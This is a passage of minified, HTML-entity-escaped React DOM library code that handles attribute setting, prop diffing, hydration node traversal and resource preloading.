`).replace(lp,&quot;&quot;)}function qf(e,t){return t=Hf(t),Hf(e)===t}function Be(e,t,a,l,s,i){switch(a){case&quot;children&quot;:typeof l==&quot;string&quot;?t===&quot;body&quot;||t===&quot;textarea&quot;&amp;&amp;l===&quot;&quot;||Sl(e,l):(typeof l==&quot;number&quot;||typeof l==&quot;bigint&quot;)&amp;&amp;t!==&quot;body&quot;&amp;&amp;Sl(e,&quot;&quot;+l);break;case&quot;className&quot;:rs(e,&quot;class&quot;,l);break;case&quot;tabIndex&quot;:rs(e,&quot;tabindex&quot;,l);break;case&quot;dir&quot;:case&quot;role&quot;:case&quot;viewBox&quot;:case&quot;width&quot;:case&quot;height&quot;:rs(e,a,l);break;case&quot;style&quot;:Ur(e,l,i);break;case&quot;data&quot;:if(t!==&quot;object&quot;){rs(e,&quot;data&quot;,l);break}case&quot;src&quot;:case&quot;href&quot;:if(l===&quot;&quot;&amp;&amp;(t!==&quot;a&quot;||a!==&quot;href&quot;)){e.removeAttribute(a);break}if(l==null||typeof l==&quot;function&quot;||typeof l==&quot;symbol&quot;||typeof l==&quot;boolean&quot;){e.removeAttribute(a);break}l=ds(&quot;&quot;+l),e.setAttribute(a,l);break;case&quot;action&quot;:case&quot;formAction&quot;:if(typeof l==&quot;function&quot;){e.setAttribute(a,&quot;javascript:throw new Error(&#039;A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\&#039;re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().&#039;)&quot;);break}else typeof i==&quot;function&quot;&amp;&amp;(a===&quot;formAction&quot;?(t!==&quot;input&quot;&amp;&amp;Be(e,t,&quot;name&quot;,s.name,s,null),Be(e,t,&quot;formEncType&quot;,s.formEncType,s,null),Be(e,t,&quot;formMethod&quot;,s.formMethod,s,null),Be(e,t,&quot;formTarget&quot;,s.formTarget,s,null)):(Be(e,t,&quot;encType&quot;,s.encType,s,null),Be(e,t,&quot;method&quot;,s.method,s,null),Be(e,t,&quot;target&quot;,s.target,s,null)));if(l==null||typeof l==&quot;symbol&quot;||typeof l==&quot;boolean&quot;){e.removeAttribute(a);break}l=ds(&quot;&quot;+l),e.setAttribute(a,l);break;case&quot;onClick&quot;:l!=null&amp;&amp;(e.onclick=sa);break;case&quot;onScroll&quot;:l!=null&amp;&amp;_e(&quot;scroll&quot;,e);break;case&quot;onScrollEnd&quot;:l!=null&amp;&amp;_e(&quot;scrollend&quot;,e);break;case&quot;dangerouslySetInnerHTML&quot;:if(l!=null){if(typeof l!=&quot;object&quot;||!(&quot;__html&quot;in l))throw Error(r(61));if(a=l.__html,a!=null){if(s.children!=null)throw Error(r(60));e.innerHTML=a}}break;case&quot;multiple&quot;:e.multiple=l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;;break;case&quot;muted&quot;:e.muted=l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;;break;case&quot;suppressContentEditableWarning&quot;:case&quot;suppressHydrationWarning&quot;:case&quot;defaultValue&quot;:case&quot;defaultChecked&quot;:case&quot;innerHTML&quot;:case&quot;ref&quot;:break;case&quot;autoFocus&quot;:break;case&quot;xlinkHref&quot;:if(l==null||typeof l==&quot;function&quot;||typeof l==&quot;boolean&quot;||typeof l==&quot;symbol&quot;){e.removeAttribute(&quot;xlink:href&quot;);break}a=ds(&quot;&quot;+l),e.setAttributeNS(&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:href&quot;,a);break;case&quot;contentEditable&quot;:case&quot;spellCheck&quot;:case&quot;draggable&quot;:case&quot;value&quot;:case&quot;autoReverse&quot;:case&quot;externalResourcesRequired&quot;:case&quot;focusable&quot;:case&quot;preserveAlpha&quot;:l!=null&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;?e.setAttribute(a,&quot;&quot;+l):e.removeAttribute(a);break;case&quot;inert&quot;:case&quot;allowFullScreen&quot;:case&quot;async&quot;:case&quot;autoPlay&quot;:case&quot;controls&quot;:case&quot;default&quot;:case&quot;defer&quot;:case&quot;disabled&quot;:case&quot;disablePictureInPicture&quot;:case&quot;disableRemotePlayback&quot;:case&quot;formNoValidate&quot;:case&quot;hidden&quot;:case&quot;loop&quot;:case&quot;noModule&quot;:case&quot;noValidate&quot;:case&quot;open&quot;:case&quot;playsInline&quot;:case&quot;readOnly&quot;:case&quot;required&quot;:case&quot;reversed&quot;:case&quot;scoped&quot;:case&quot;seamless&quot;:case&quot;itemScope&quot;:l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;?e.setAttribute(a,&quot;&quot;):e.removeAttribute(a);break;case&quot;capture&quot;:case&quot;download&quot;:l===!0?e.setAttribute(a,&quot;&quot;):l!==!1&amp;&amp;l!=null&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;?e.setAttribute(a,l):e.removeAttribute(a);break;case&quot;cols&quot;:case&quot;rows&quot;:case&quot;size&quot;:case&quot;span&quot;:l!=null&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;&amp;&amp;!isNaN(l)&amp;&amp;1&lt;=l?e.setAttribute(a,l):e.removeAttribute(a);break;case&quot;rowSpan&quot;:case&quot;start&quot;:l==null||typeof l==&quot;function&quot;||typeof l==&quot;symbol&quot;||isNaN(l)?e.removeAttribute(a):e.setAttribute(a,l);break;case&quot;popover&quot;:_e(&quot;beforetoggle&quot;,e),_e(&quot;toggle&quot;,e),cs(e,&quot;popover&quot;,l);break;case&quot;xlinkActuate&quot;:na(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:actuate&quot;,l);break;case&quot;xlinkArcrole&quot;:na(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:arcrole&quot;,l);break;case&quot;xlinkRole&quot;:na(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:role&quot;,l);break;case&quot;xlinkShow&quot;:na(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:show&quot;,l);break;case&quot;xlinkTitle&quot;:na(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:title&quot;,l);break;case&quot;xlinkType&quot;:na(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:type&quot;,l);break;case&quot;xmlBase&quot;:na(e,&quot;http://www.w3.org/XML/1998/namespace&quot;,&quot;xml:base&quot;,l);break;case&quot;xmlLang&quot;:na(e,&quot;http://www.w3.org/XML/1998/namespace&quot;,&quot;xml:lang&quot;,l);break;case&quot;xmlSpace&quot;:na(e,&quot;http://www.w3.org/XML/1998/namespace&quot;,&quot;xml:space&quot;,l);break;case&quot;is&quot;:cs(e,&quot;is&quot;,l);break;case&quot;innerText&quot;:case&quot;textContent&quot;:break;default:(!(2&lt;a.length)||a[0]!==&quot;o&quot;&amp;&amp;a[0]!==&quot;O&quot;||a[1]!==&quot;n&quot;&amp;&amp;a[1]!==&quot;N&quot;)&amp;&amp;(a=wh.get(a)||a,cs(e,a,l))}}function Ac(e,t,a,l,s,i){switch(a){case&quot;style&quot;:Ur(e,l,i);break;case&quot;dangerouslySetInnerHTML&quot;:if(l!=null){if(typeof l!=&quot;object&quot;||!(&quot;__html&quot;in l))throw Error(r(61));if(a=l.__html,a!=null){if(s.children!=null)throw Error(r(60));e.innerHTML=a}}break;case&quot;children&quot;:typeof l==&quot;string&quot;?Sl(e,l):(typeof l==&quot;number&quot;||typeof l==&quot;bigint&quot;)&amp;&amp;Sl(e,&quot;&quot;+l);break;case&quot;onScroll&quot;:l!=null&amp;&amp;_e(&quot;scroll&quot;,e);break;case&quot;onScrollEnd&quot;:l!=null&amp;&amp;_e(&quot;scrollend&quot;,e);break;case&quot;onClick&quot;:l!=null&amp;&amp;(e.onclick=sa);break;case&quot;suppressContentEditableWarning&quot;:case&quot;suppressHydrationWarning&quot;:case&quot;innerHTML&quot;:case&quot;ref&quot;:break;case&quot;innerText&quot;:case&quot;textContent&quot;:break;default:if(!Tr.hasOwnProperty(a))e:{if(a[0]===&quot;o&quot;&amp;&amp;a[1]===&quot;n&quot;&amp;&amp;(s=a.endsWith(&quot;Capture&quot;),t=a.slice(2,s?a.length-7:void 0),i=e[pt]||null,i=i!=null?i[a]:null,typeof i==&quot;function&quot;&amp;&amp;e.removeEventListener(t,i,s),typeof l==&quot;function&quot;)){typeof i!=&quot;function&quot;&amp;&amp;i!==null&amp;&amp;(a in e?e[a]=null:e.hasAttribute(a)&amp;&amp;e.removeAttribute(a)),e.addEventListener(t,l,s);break e}a in e?e[a]=l:l===!0?e.setAttribute(a,&quot;&quot;):cs(e,a,l)}}}function rt(e,t,a){switch(t){case&quot;div&quot;:case&quot;span&quot;:case&quot;svg&quot;:case&quot;path&quot;:case&quot;a&quot;:case&quot;g&quot;:case&quot;p&quot;:case&quot;li&quot;:break;case&quot;img&quot;:_e(&quot;error&quot;,e),_e(&quot;load&quot;,e);var l=!1,s=!1,i;for(i in a)if(a.hasOwnProperty(i)){var o=a[i];if(o!=null)switch(i){case&quot;src&quot;:l=!0;break;case&quot;srcSet&quot;:s=!0;break;case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:throw Error(r(137,t));default:Be(e,t,i,o,a,null)}}s&amp;&amp;Be(e,t,&quot;srcSet&quot;,a.srcSet,a,null),l&amp;&amp;Be(e,t,&quot;src&quot;,a.src,a,null);return;case&quot;input&quot;:_e(&quot;invalid&quot;,e);var h=i=o=s=null,S=null,C=null;for(l in a)if(a.hasOwnProperty(l)){var L=a[l];if(L!=null)switch(l){case&quot;name&quot;:s=L;break;case&quot;type&quot;:o=L;break;case&quot;checked&quot;:S=L;break;case&quot;defaultChecked&quot;:C=L;break;case&quot;value&quot;:i=L;break;case&quot;defaultValue&quot;:h=L;break;case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:if(L!=null)throw Error(r(137,t));break;default:Be(e,t,l,L,a,null)}}wr(e,i,h,S,C,o,s,!1);return;case&quot;select&quot;:_e(&quot;invalid&quot;,e),l=o=i=null;for(s in a)if(a.hasOwnProperty(s)&amp;&amp;(h=a[s],h!=null))switch(s){case&quot;value&quot;:i=h;break;case&quot;defaultValue&quot;:o=h;break;case&quot;multiple&quot;:l=h;default:Be(e,t,s,h,a,null)}t=i,a=o,e.multiple=!!l,t!=null?jl(e,!!l,t,!1):a!=null&amp;&amp;jl(e,!!l,a,!0);return;case&quot;textarea&quot;:_e(&quot;invalid&quot;,e),i=s=l=null;for(o in a)if(a.hasOwnProperty(o)&amp;&amp;(h=a[o],h!=null))switch(o){case&quot;value&quot;:l=h;break;case&quot;defaultValue&quot;:s=h;break;case&quot;children&quot;:i=h;break;case&quot;dangerouslySetInnerHTML&quot;:if(h!=null)throw Error(r(91));break;default:Be(e,t,o,h,a,null)}Dr(e,l,s,i);return;case&quot;option&quot;:for(S in a)if(a.hasOwnProperty(S)&amp;&amp;(l=a[S],l!=null))switch(S){case&quot;selected&quot;:e.selected=l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;;break;default:Be(e,t,S,l,a,null)}return;case&quot;dialog&quot;:_e(&quot;beforetoggle&quot;,e),_e(&quot;toggle&quot;,e),_e(&quot;cancel&quot;,e),_e(&quot;close&quot;,e);break;case&quot;iframe&quot;:case&quot;object&quot;:_e(&quot;load&quot;,e);break;case&quot;video&quot;:case&quot;audio&quot;:for(l=0;l&lt;Yn.length;l++)_e(Yn[l],e);break;case&quot;image&quot;:_e(&quot;error&quot;,e),_e(&quot;load&quot;,e);break;case&quot;details&quot;:_e(&quot;toggle&quot;,e);break;case&quot;embed&quot;:case&quot;source&quot;:case&quot;link&quot;:_e(&quot;error&quot;,e),_e(&quot;load&quot;,e);case&quot;area&quot;:case&quot;base&quot;:case&quot;br&quot;:case&quot;col&quot;:case&quot;hr&quot;:case&quot;keygen&quot;:case&quot;meta&quot;:case&quot;param&quot;:case&quot;track&quot;:case&quot;wbr&quot;:case&quot;menuitem&quot;:for(C in a)if(a.hasOwnProperty(C)&amp;&amp;(l=a[C],l!=null))switch(C){case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:throw Error(r(137,t));default:Be(e,t,C,l,a,null)}return;default:if(Gi(t)){for(L in a)a.hasOwnProperty(L)&amp;&amp;(l=a[L],l!==void 0&amp;&amp;Ac(e,t,L,l,a,void 0));return}}for(h in a)a.hasOwnProperty(h)&amp;&amp;(l=a[h],l!=null&amp;&amp;Be(e,t,h,l,a,null))}function np(e,t,a,l){switch(t){case&quot;div&quot;:case&quot;span&quot;:case&quot;svg&quot;:case&quot;path&quot;:case&quot;a&quot;:case&quot;g&quot;:case&quot;p&quot;:case&quot;li&quot;:break;case&quot;input&quot;:var s=null,i=null,o=null,h=null,S=null,C=null,L=null;for(U in a){var Z=a[U];if(a.hasOwnProperty(U)&amp;&amp;Z!=null)switch(U){case&quot;checked&quot;:break;case&quot;value&quot;:break;case&quot;defaultValue&quot;:S=Z;default:l.hasOwnProperty(U)||Be(e,t,U,null,l,Z)}}for(var z in l){var U=l[z];if(Z=a[z],l.hasOwnProperty(z)&amp;&amp;(U!=null||Z!=null))switch(z){case&quot;type&quot;:i=U;break;case&quot;name&quot;:s=U;break;case&quot;checked&quot;:C=U;break;case&quot;defaultChecked&quot;:L=U;break;case&quot;value&quot;:o=U;break;case&quot;defaultValue&quot;:h=U;break;case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:if(U!=null)throw Error(r(137,t));break;default:U!==Z&amp;&amp;Be(e,t,z,U,l,Z)}}Li(e,o,h,S,C,L,i,s);return;case&quot;select&quot;:U=o=h=z=null;for(i in a)if(S=a[i],a.hasOwnProperty(i)&amp;&amp;S!=null)switch(i){case&quot;value&quot;:break;case&quot;multiple&quot;:U=S;default:l.hasOwnProperty(i)||Be(e,t,i,null,l,S)}for(s in l)if(i=l[s],S=a[s],l.hasOwnProperty(s)&amp;&amp;(i!=null||S!=null))switch(s){case&quot;value&quot;:z=i;break;case&quot;defaultValue&quot;:h=i;break;case&quot;multiple&quot;:o=i;default:i!==S&amp;&amp;Be(e,t,s,i,l,S)}t=h,a=o,l=U,z!=null?jl(e,!!a,z,!1):!!l!=!!a&amp;&amp;(t!=null?jl(e,!!a,t,!0):jl(e,!!a,a?[]:&quot;&quot;,!1));return;case&quot;textarea&quot;:U=z=null;for(h in a)if(s=a[h],a.hasOwnProperty(h)&amp;&amp;s!=null&amp;&amp;!l.hasOwnProperty(h))switch(h){case&quot;value&quot;:break;case&quot;children&quot;:break;default:Be(e,t,h,null,l,s)}for(o in l)if(s=l[o],i=a[o],l.hasOwnProperty(o)&amp;&amp;(s!=null||i!=null))switch(o){case&quot;value&quot;:z=s;break;case&quot;defaultValue&quot;:U=s;break;case&quot;children&quot;:break;case&quot;dangerouslySetInnerHTML&quot;:if(s!=null)throw Error(r(91));break;default:s!==i&amp;&amp;Be(e,t,o,s,l,i)}Rr(e,z,U);return;case&quot;option&quot;:for(var ue in a)if(z=a[ue],a.hasOwnProperty(ue)&amp;&amp;z!=null&amp;&amp;!l.hasOwnProperty(ue))switch(ue){case&quot;selected&quot;:e.selected=!1;break;default:Be(e,t,ue,null,l,z)}for(S in l)if(z=l[S],U=a[S],l.hasOwnProperty(S)&amp;&amp;z!==U&amp;&amp;(z!=null||U!=null))switch(S){case&quot;selected&quot;:e.selected=z&amp;&amp;typeof z!=&quot;function&quot;&amp;&amp;typeof z!=&quot;symbol&quot;;break;default:Be(e,t,S,z,l,U)}return;case&quot;img&quot;:case&quot;link&quot;:case&quot;area&quot;:case&quot;base&quot;:case&quot;br&quot;:case&quot;col&quot;:case&quot;embed&quot;:case&quot;hr&quot;:case&quot;keygen&quot;:case&quot;meta&quot;:case&quot;param&quot;:case&quot;source&quot;:case&quot;track&quot;:case&quot;wbr&quot;:case&quot;menuitem&quot;:for(var he in a)z=a[he],a.hasOwnProperty(he)&amp;&amp;z!=null&amp;&amp;!l.hasOwnProperty(he)&amp;&amp;Be(e,t,he,null,l,z);for(C in l)if(z=l[C],U=a[C],l.hasOwnProperty(C)&amp;&amp;z!==U&amp;&amp;(z!=null||U!=null))switch(C){case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:if(z!=null)throw Error(r(137,t));break;default:Be(e,t,C,z,l,U)}return;default:if(Gi(t)){for(var Le in a)z=a[Le],a.hasOwnProperty(Le)&amp;&amp;z!==void 0&amp;&amp;!l.hasOwnProperty(Le)&amp;&amp;Ac(e,t,Le,void 0,l,z);for(L in l)z=l[L],U=a[L],!l.hasOwnProperty(L)||z===U||z===void 0&amp;&amp;U===void 0||Ac(e,t,L,z,l,U);return}}for(var _ in a)z=a[_],a.hasOwnProperty(_)&amp;&amp;z!=null&amp;&amp;!l.hasOwnProperty(_)&amp;&amp;Be(e,t,_,null,l,z);for(Z in l)z=l[Z],U=a[Z],!l.hasOwnProperty(Z)||z===U||z==null&amp;&amp;U==null||Be(e,t,Z,z,l,U)}function Bf(e){switch(e){case&quot;css&quot;:case&quot;script&quot;:case&quot;font&quot;:case&quot;img&quot;:case&quot;image&quot;:case&quot;input&quot;:case&quot;link&quot;:return!0;default:return!1}}function sp(){if(typeof performance.getEntriesByType==&quot;function&quot;){for(var e=0,t=0,a=performance.getEntriesByType(&quot;resource&quot;),l=0;l&lt;a.length;l++){var s=a[l],i=s.transferSize,o=s.initiatorType,h=s.duration;if(i&amp;&amp;h&amp;&amp;Bf(o)){for(o=0,h=s.responseEnd,l+=1;l&lt;a.length;l++){var S=a[l],C=S.startTime;if(C&gt;h)break;var L=S.transferSize,Z=S.initiatorType;L&amp;&amp;Bf(Z)&amp;&amp;(S=S.responseEnd,o+=L*(S&lt;h?1:(h-C)/(S-C)))}if(--l,t+=8*(i+o)/(s.duration/1e3),e++,10&lt;e)break}}if(0&lt;e)return t/e/1e6}return navigator.connection&amp;&amp;(e=navigator.connection.downlink,typeof e==&quot;number&quot;)?e:5}var Cc=null,zc=null;function ii(e){return e.nodeType===9?e:e.ownerDocument}function Lf(e){switch(e){case&quot;http://www.w3.org/2000/svg&quot;:return 1;case&quot;http://www.w3.org/1998/Math/MathML&quot;:return 2;default:return 0}}function kf(e,t){if(e===0)switch(t){case&quot;svg&quot;:return 1;case&quot;math&quot;:return 2;default:return 0}return e===1&amp;&amp;t===&quot;foreignObject&quot;?0:e}function Oc(e,t){return e===&quot;textarea&quot;||e===&quot;noscript&quot;||typeof t.children==&quot;string&quot;||typeof t.children==&quot;number&quot;||typeof t.children==&quot;bigint&quot;||typeof t.dangerouslySetInnerHTML==&quot;object&quot;&amp;&amp;t.dangerouslySetInnerHTML!==null&amp;&amp;t.dangerouslySetInnerHTML.__html!=null}var wc=null;function ip(){var e=window.event;return e&amp;&amp;e.type===&quot;popstate&quot;?e===wc?!1:(wc=e,!0):(wc=null,!1)}var Gf=typeof setTimeout==&quot;function&quot;?setTimeout:void 0,up=typeof clearTimeout==&quot;function&quot;?clearTimeout:void 0,Yf=typeof Promise==&quot;function&quot;?Promise:void 0,cp=typeof queueMicrotask==&quot;function&quot;?queueMicrotask:typeof Yf&lt;&quot;u&quot;?function(e){return Yf.resolve(null).then(e).catch(rp)}:Gf;function rp(e){setTimeout(function(){throw e})}function Qa(e){return e===&quot;head&quot;}function Qf(e,t){var a=t,l=0;do{var s=a.nextSibling;if(e.removeChild(a),s&amp;&amp;s.nodeType===8)if(a=s.data,a===&quot;/$&quot;||a===&quot;/&amp;&quot;){if(l===0){e.removeChild(s),Il(t);return}l--}else if(a===&quot;$&quot;||a===&quot;$?&quot;||a===&quot;$~&quot;||a===&quot;$!&quot;||a===&quot;&amp;&quot;)l++;else if(a===&quot;html&quot;)Xn(e.ownerDocument.documentElement);else if(a===&quot;head&quot;){a=e.ownerDocument.head,Xn(a);for(var i=a.firstChild;i;){var o=i.nextSibling,h=i.nodeName;i[cn]||h===&quot;SCRIPT&quot;||h===&quot;STYLE&quot;||h===&quot;LINK&quot;&amp;&amp;i.rel.toLowerCase()===&quot;stylesheet&quot;||a.removeChild(i),i=o}}else a===&quot;body&quot;&amp;&amp;Xn(e.ownerDocument.body);a=s}while(a);Il(t)}function Xf(e,t){var a=e;e=0;do{var l=a.nextSibling;if(a.nodeType===1?t?(a._stashedDisplay=a.style.display,a.style.display=&quot;none&quot;):(a.style.display=a._stashedDisplay||&quot;&quot;,a.getAttribute(&quot;style&quot;)===&quot;&quot;&amp;&amp;a.removeAttribute(&quot;style&quot;)):a.nodeType===3&amp;&amp;(t?(a._stashedText=a.nodeValue,a.nodeValue=&quot;&quot;):a.nodeValue=a._stashedText||&quot;&quot;),l&amp;&amp;l.nodeType===8)if(a=l.data,a===&quot;/$&quot;){if(e===0)break;e--}else a!==&quot;$&quot;&amp;&amp;a!==&quot;$?&quot;&amp;&amp;a!==&quot;$~&quot;&amp;&amp;a!==&quot;$!&quot;||e++;a=l}while(a)}function Rc(e){var t=e.firstChild;for(t&amp;&amp;t.nodeType===10&amp;&amp;(t=t.nextSibling);t;){var a=t;switch(t=t.nextSibling,a.nodeName){case&quot;HTML&quot;:case&quot;HEAD&quot;:case&quot;BODY&quot;:Rc(a),qi(a);continue;case&quot;SCRIPT&quot;:case&quot;STYLE&quot;:continue;case&quot;LINK&quot;:if(a.rel.toLowerCase()===&quot;stylesheet&quot;)continue}e.removeChild(a)}}function op(e,t,a,l){for(;e.nodeType===1;){var s=a;if(e.nodeName.toLowerCase()!==t.toLowerCase()){if(!l&amp;&amp;(e.nodeName!==&quot;INPUT&quot;||e.type!==&quot;hidden&quot;))break}else if(l){if(!e[cn])switch(t){case&quot;meta&quot;:if(!e.hasAttribute(&quot;itemprop&quot;))break;return e;case&quot;link&quot;:if(i=e.getAttribute(&quot;rel&quot;),i===&quot;stylesheet&quot;&amp;&amp;e.hasAttribute(&quot;data-precedence&quot;))break;if(i!==s.rel||e.getAttribute(&quot;href&quot;)!==(s.href==null||s.href===&quot;&quot;?null:s.href)||e.getAttribute(&quot;crossorigin&quot;)!==(s.crossOrigin==null?null:s.crossOrigin)||e.getAttribute(&quot;title&quot;)!==(s.title==null?null:s.title))break;return e;case&quot;style&quot;:if(e.hasAttribute(&quot;data-precedence&quot;))break;return e;case&quot;script&quot;:if(i=e.getAttribute(&quot;src&quot;),(i!==(s.src==null?null:s.src)||e.getAttribute(&quot;type&quot;)!==(s.type==null?null:s.type)||e.getAttribute(&quot;crossorigin&quot;)!==(s.crossOrigin==null?null:s.crossOrigin))&amp;&amp;i&amp;&amp;e.hasAttribute(&quot;async&quot;)&amp;&amp;!e.hasAttribute(&quot;itemprop&quot;))break;return e;default:return e}}else if(t===&quot;input&quot;&amp;&amp;e.type===&quot;hidden&quot;){var i=s.name==null?null:&quot;&quot;+s.name;if(s.type===&quot;hidden&quot;&amp;&amp;e.getAttribute(&quot;name&quot;)===i)return e}else return e;if(e=Yt(e.nextSibling),e===null)break}return null}function dp(e,t,a){if(t===&quot;&quot;)return null;for(;e.nodeType!==3;)if((e.nodeType!==1||e.nodeName!==&quot;INPUT&quot;||e.type!==&quot;hidden&quot;)&amp;&amp;!a||(e=Yt(e.nextSibling),e===null))return null;return e}function Vf(e,t){for(;e.nodeType!==8;)if((e.nodeType!==1||e.nodeName!==&quot;INPUT&quot;||e.type!==&quot;hidden&quot;)&amp;&amp;!t||(e=Yt(e.nextSibling),e===null))return null;return e}function Dc(e){return e.data===&quot;$?&quot;||e.data===&quot;$~&quot;}function Mc(e){return e.data===&quot;$!&quot;||e.data===&quot;$?&quot;&amp;&amp;e.ownerDocument.readyState!==&quot;loading&quot;}function fp(e,t){var a=e.ownerDocument;if(e.data===&quot;$~&quot;)e._reactRetry=t;else if(e.data!==&quot;$?&quot;||a.readyState!==&quot;loading&quot;)t();else{var l=function(){t(),a.removeEventListener(&quot;DOMContentLoaded&quot;,l)};a.addEventListener(&quot;DOMContentLoaded&quot;,l),e._reactRetry=l}}function Yt(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t===&quot;$&quot;||t===&quot;$!&quot;||t===&quot;$?&quot;||t===&quot;$~&quot;||t===&quot;&amp;&quot;||t===&quot;F!&quot;||t===&quot;F&quot;)break;if(t===&quot;/$&quot;||t===&quot;/&amp;&quot;)return null}}return e}var Uc=null;function Zf(e){e=e.nextSibling;for(var t=0;e;){if(e.nodeType===8){var a=e.data;if(a===&quot;/$&quot;||a===&quot;/&amp;&quot;){if(t===0)return Yt(e.nextSibling);t--}else a!==&quot;$&quot;&amp;&amp;a!==&quot;$!&quot;&amp;&amp;a!==&quot;$?&quot;&amp;&amp;a!==&quot;$~&quot;&amp;&amp;a!==&quot;&amp;&quot;||t++}e=e.nextSibling}return null}function Jf(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var a=e.data;if(a===&quot;$&quot;||a===&quot;$!&quot;||a===&quot;$?&quot;||a===&quot;$~&quot;||a===&quot;&amp;&quot;){if(t===0)return e;t--}else a!==&quot;/$&quot;&amp;&amp;a!==&quot;/&amp;&quot;||t++}e=e.previousSibling}return null}function $f(e,t,a){switch(t=ii(a),e){case&quot;html&quot;:if(e=t.documentElement,!e)throw Error(r(452));return e;case&quot;head&quot;:if(e=t.head,!e)throw Error(r(453));return e;case&quot;body&quot;:if(e=t.body,!e)throw Error(r(454));return e;default:throw Error(r(451))}}function Xn(e){for(var t=e.attributes;t.length;)e.removeAttributeNode(t[0]);qi(e)}var Qt=new Map,Kf=new Set;function ui(e){return typeof e.getRootNode==&quot;function&quot;?e.getRootNode():e.nodeType===9?e:e.ownerDocument}var ja=Y.d;Y.d={f:mp,r:hp,D:pp,C:xp,L:vp,m:yp,X:bp,S:gp,M:jp};function mp(){var e=ja.f(),t=Ps();return e||t}function hp(e){var t=yl(e);t!==null&amp;&amp;t.tag===5&amp;&amp;t.type===&quot;form&quot;?dd(t):ja.r(e)}var Fl=typeof document&gt;&quot;u&quot;?null:document;function Ff(e,t,a){var l=Fl;if(l&amp;&amp;typeof t==&quot;string&quot;&amp;&amp;t){var s=Ut(t);s=&#039;link[rel=&quot;&#039;+e+&#039;&quot;][href=&quot;&#039;+s+&#039;&quot;]&#039;,typeof a==&quot;string&quot;&amp;&amp;(s+=&#039;[crossorigin=&quot;&#039;+a+&#039;&quot;]&#039;),Kf.has(s)||(Kf.add(s),e={rel:e,crossOrigin:a,href:t},l.querySelector(s)===null&amp;&amp;(t=l.createElement(&quot;link&quot;),rt(t,&quot;link&quot;,e),lt(t),l.head.appendChild(t)))}}function pp(e){ja.D(e),Ff(&quot;dns-prefetch&quot;,e,null)}function xp(e,t){ja.C(e,t),Ff(&quot;preconnect&quot;,e,t)}function vp(e,t,a){ja.L(e,t,a);var l=Fl;if(l&amp;&amp;e&amp;&amp;t){var s=&#039;link[rel=&quot;preload&quot;][as=&quot;&#039;+Ut(t)+&#039;&quot;]&#039;;t===&quot;image&quot;&amp;&amp;a&amp;&amp;a.imageSrcSet?(s+=&#039;[imagesrcset=&quot;&#039;+Ut(a.imageSrcSet)+&#039;&quot;]&#039;,typeof a.imageSizes==&quot;string&quot;&amp;&amp;(s+=&#039;[imagesizes=&quot;&#039;+Ut(a.imageSizes)+&#039;&quot;]&#039;)):s+=&#039;[href=&quot;&#039;+Ut(e)+&#039;&quot;]&#039;;var i=s;switch(t){case&quot;style&quot;:i=Wl(e);break;case&quot;script&quot;:i=Pl(e)}Qt.has(i)||(e=b({rel:&quot;preload&quot;,href:t===&quot;image&quot;&amp;&amp;a&amp;&amp;a.imageSrcSet?void 0:e,as:t},a),Qt.set(i,e),l.querySelector(s)!==null||t===&quot;style&quot;&amp;&amp;l.querySelector(Vn(i))||t===&quot;script&quot;&amp;&amp;l.querySelector(Zn(i))||(t=l.createElement(&quot;link&quot;),rt(t,&quot;link&quot;,e),lt(t),l.head.appendChild(t)))}}function yp(e,t){ja.m(e,t);var a=Fl;if(a&amp;&amp;e){var l=t&amp;&amp;typeof t.as==&quot;string&quot;?t.as:&quot;script&quot;,s=&#039;link[rel=&quot;modulepreload&quot;][as=&quot;&#039;+Ut(l)+&#039;&quot;][href=&quot;&#039;+Ut(e)+&#039;&quot;]&#039;,i=s;switch(l){case&quot;audioworklet&quot;:case&quot;paintworklet&quot;:case&quot;serviceworker&quot;:case&quot;sharedworker&quot;:case&quot;worker&quot;:case&quot;script&quot;:i=Pl(e)}if(!Qt.has(i)&amp;&amp;(e=b({rel:&quot;modulepreload&quot;,href:e},t),Qt.set(i,e),a.querySelector(s)===null)){switch(l){case&quot;audioworklet&quot;:case&quot;paintworklet&quot;:case&quot;serviceworker&quot;:case&quot;sharedworker&quot;:case&quot;worker&quot;:case&quot;script&quot;:if(a.querySelector(Zn(i)))return}l=a.createElement(&quot;link&quot;),rt(l,&quot;link&quot;,e),lt(l),a.head.appendChild(l)}}}function gp(e,t,a){ja.S(e,t,a);var l=Fl;if(l&amp;&amp;e){var s=gl(l).hoistableStyles,i=Wl(e);t=t||&quot;default&quot;;var o=s.get(i);if(!o){var h={loading:0,preload:null};if(o=l.querySelector(Vn(i)))h.loading=5;else{e=b({rel:&quot;stylesheet&quot;,href:e,&quot;data-precedence&quot;:t},a),(a=Qt.get(i))&amp;&amp;Hc(e,a);var S=o=l.createElement(&quot;link&quot;);lt(S),rt(S,&quot;link&quot;,e),S._p=new 